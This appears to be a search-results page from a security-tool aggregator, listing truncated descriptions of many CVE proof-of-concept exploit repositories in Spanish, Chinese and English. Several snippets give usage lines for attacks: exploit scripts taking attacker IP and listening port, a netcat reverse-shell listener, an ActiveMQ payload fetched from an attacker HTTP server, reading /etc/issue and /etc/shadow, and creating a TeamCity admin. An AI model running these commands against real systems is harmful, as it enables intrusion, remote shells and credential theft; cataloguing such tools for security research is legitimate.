24182 matches found
CVE-2023-6019
Python POC derivado del POC del autor Uso python3 CVE-2023-6019.py -t 192.168.191.37 -p 9000 -l 192.168.45.xxx -lp 4444...
CVE-2018-7422
CVE-2018-7422 nuclei -u http://target:8088 -t cve-2018-7422.yaml...
CVE-2021-41773-exploit
Uso archivo ip-ports.txt: root@kitploit: 1.1.1.1:80 root@kitploit: node CVE-2021-41773.js ip-ports.txt...
CTF---CVE-2011-2523
Scenario Capture the Flag - CVE-2011-2523 Capture the decrypted /etc/shadow and /etc/passwd file from vulnerable Metasploitable 2 server. Setup Enviornment Step 1: Download an unzip virtual machine For this CTF, we run VMware Workstation Pro with two virtual machines. We utilize Kali Linux as the...
CVE-2024-36401
CVE-2024-36401 用法 root@kitploit: python3 exploit.py Enter host e.g., https://example.com/: https://target.com/ Enter IP: Your IP Public/Host Ngrok Enter Listing Port: Your Port Listen...
CVE-2019-0708
CVE-2019-0708-poc CVE-2019-0708 远程代码执行漏洞批量检测 3389hosts为待检测IP地址清单，一行一个 pool = ThreadPool10 为自定义扫描线程 注意 Windows python3环境 使用 1. 编辑3389hosts，将待检测的IP地址写入文件，一行一个 2. 命令行切换到代码所在的目录，运行python cve-2019-0708.py...
CVE-2022-29464
CVE-2022-29464 CVE-2022-29464 POC 漏洞利用 https://github.com/superzerosec/CVE-2022-29464 https://github.com/hakivvi/CVE-2022-29464 在此基础上，增加了检测和任意文件上传功能。 漏洞作者： superzerosec 原始作者： hakivvi 使用方法 可选参数： -h, --help 显示此帮助信息并退出 -u URL, --url URL 目标URL，例如 http://localhost:9443 -l LIST, --list LIST 目标URL列表，每行一...
PoC-for-CVE-2025-9074
CVE-2025-9074 - PoC de Acceso No Autenticado a la API de Docker 📌 Descripción general Este repositorio proporciona un exploit de Prueba de Concepto PoC para CVE-2025-9074 , que implica la exposición no autenticada de la API de Docker Engine en el puerto TCP 2375. Un atacante que pueda acceder a...
dploot
dploot dploot is Python rewrite of SharpDPAPI written in C by Harmj0y, which is itself a port of DPAPI from Mimikatz by gentilkiwi. It implements all the DPAPI logic of these tools, but this time it is usable with a python interpreter and from a Linux environment. If you don't know what is DPAPI,...
CVE-2019-0708-POC
CVE-2019-0708-POC 受影响版本 Windows 7 Windows Server 2008 R2 Windows Server 2008 Windows Server 2003 Windows XP 需开启: 远程桌面3389端口, 关闭防火墙 本POC以及Scan工具来源于网络, 侵权请联系删除. Affected system version Windows 7 Windows Server 2008 R2 Windows Server 2008 Windows Server 2003 Windows XP Need to open: Remote Desktop...
CVE-2015-0311
Reupload of an old Linux/Firefox port of an exploit for CVE-2015-0311 Use-after-free in Adobe Flash Player I created for educational purposes...
CVE-2023-42793
使用方法： 将其保存为 teamcity-admin-creation.nse 并运行： nmap -p 8111 --script teamcity-admin-creation --script-args url=https://target-url...
CVE-2018-16492
extend para Node.js node-extend es un puerto del clásico método extend de jQuery. Se comporta como se espera. Es simple, probado y verdadero. Notas: Desde Node.js = 4, Object.assign ahora ofrece la misma funcionalidad de forma nativa pero sin la opción de "copia profunda". Ver...
CVE-2026-24061
CVE-2026-24061 auth-bypass.py: una implementación minimalista de CVE-2026-24061 usando UV + Python + telnetlib3 run.sh / shell.sh: construye y ejecuta un contenedor podman explotable en localhost:2323...
CVE-2025-9074-POC
CVE-2025-9074-POC CVE-2025-9074 的概念验证漏洞利用 ⚠️ 法律免责声明 本 PoC 仅用于教育及授权的安全测试目的。 未经授权利用系统属违法行为，且不符合道德规范。 请仅在您拥有所有权的环境或已获得明确测试授权的环境中使用本 PoC。 使用方法 root@kitploit: ./cve-2025-9074.sh 192.168.65.7 2375 在运行脚本之前，请确保您已启动一个 nc 监听器。...
westone-CVE-2021-21972-scanner
westone-CVE-2021-21972-scanner Vulnerabilidad de ejecución remota de código en VMware vCenter Server. Un atacante malicioso con acceso al puerto 443 puede enviar una solicitud cuidadosamente construida al vCenter Server, lo que eventualmente provocará la ejecución remota de código arbitrario...
CVE-2025-9074-Poc
RCE no autenticado en la API de Docker CVE-2025-9074 Una vulnerabilidad crítica CVE-2025-9074 en Docker Desktop permite que contenedores Linux en ejecución local se conecten a la API del motor de Docker a través de la subred predeterminada 192.168.65.7:2375. El problema persiste independientement...
CVE-2020-5902-F5BIG
CVE-2020-5902-F5BIG 只需像这样运行命令 👇 root@kitploit: go run CVE-2020-5902-F5BIG-Scanner.go -u ... -p 443 -m R -f /etc/issue or go run CVE-2020-5902-F5BIG-Scanner.go -u ... -p 443 -m C...
CVE-2023-46604
CVE-2023-46604 根据环境要求，构建包含受害者机器和目标机器两个镜像的 docker-compose 在受害者机器上，启动 ActiveMQ 切换到攻击机器： • 开启 HTTP 服务以发送 poc： python3 -m http.server • 使用 netcat 监听到攻击机器的连接： nc -nlvp 4444 • 发送创建反向 shell 连接到攻击机器的 payload： python3 exploit.py -i 172.18.0.3 -p 61616 --xml http://172.18.0.2:8000/poc.xml 其中：...